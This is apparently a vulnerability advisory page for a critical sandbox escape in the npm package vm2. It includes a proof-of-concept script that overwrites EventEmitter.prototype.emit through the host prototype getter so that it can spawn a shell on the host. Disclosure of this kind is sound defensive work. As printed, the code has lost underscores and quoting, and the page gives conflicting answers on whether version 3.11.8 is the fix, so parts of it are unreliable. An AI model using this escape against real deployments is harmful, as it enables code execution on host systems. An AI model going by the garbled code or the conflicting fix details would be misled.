GHSA-88hf-g992-jg85: Critical severity npm/vm2 vulnerability

Published Oct 5, 2026
·
Updated

Summary

It being possible to obtain the host proto getter/setter, has been used in many reports:

- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

Yet it was never patched...

---

This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console.stdout/console.stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console.stdout/console.stderr is:

stdout / stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

js const { NodeVM } = require("vm2");

code = const gP = Buffer.call.call(lookupGetter,67,'proto');

// vm proto getter console.log(lookupGetter.call(0,'proto').call(console.stderr)); // [Object: null prototype] {}

// host proto getter console.log(gP.call(console.stderr)); // Socket { [...] }

let p = console.stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); };

p.emit = function(){ console.log(this+[]); this.getBuiltinModule("childprocess").execSync("sh",{stdio:"inherit"}) } ;

const vm = new NodeVM(); vm.run(code);

Affected Software

1 affected componentFixes available
npm/vm2<=3.11.7
3.11.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.8

Event History

Oct 5, 2026
Advisory Published
via GitHub·10:47 PM
Data Sourced
via GitHub·10:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed by the described exploit path?

The described path applies to vm2 NodeVM instances configured with console: 'inherit'. This is the default configuration, and it exposes console._stdout and console._stderr to sandboxed code.

2

What must an attacker be able to do to exploit this?

An attacker needs to run code in the NodeVM sandbox and access the inherited console streams. The exploit overwrites EventEmitter.prototype.emit and then relies on process emitting an event such as exit or unhandledRejection.

3

Does --disallow-code-generation-from-strings prevent this escape?

No. The advisory states that this technique bypasses --disallow-code-generation-from-strings.

4

What version contains the fix?

The provided data does not specify a fixed vm2 release version. It references commit 22a43704c04b66823b4064b8a16fe1ad54ad0290.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203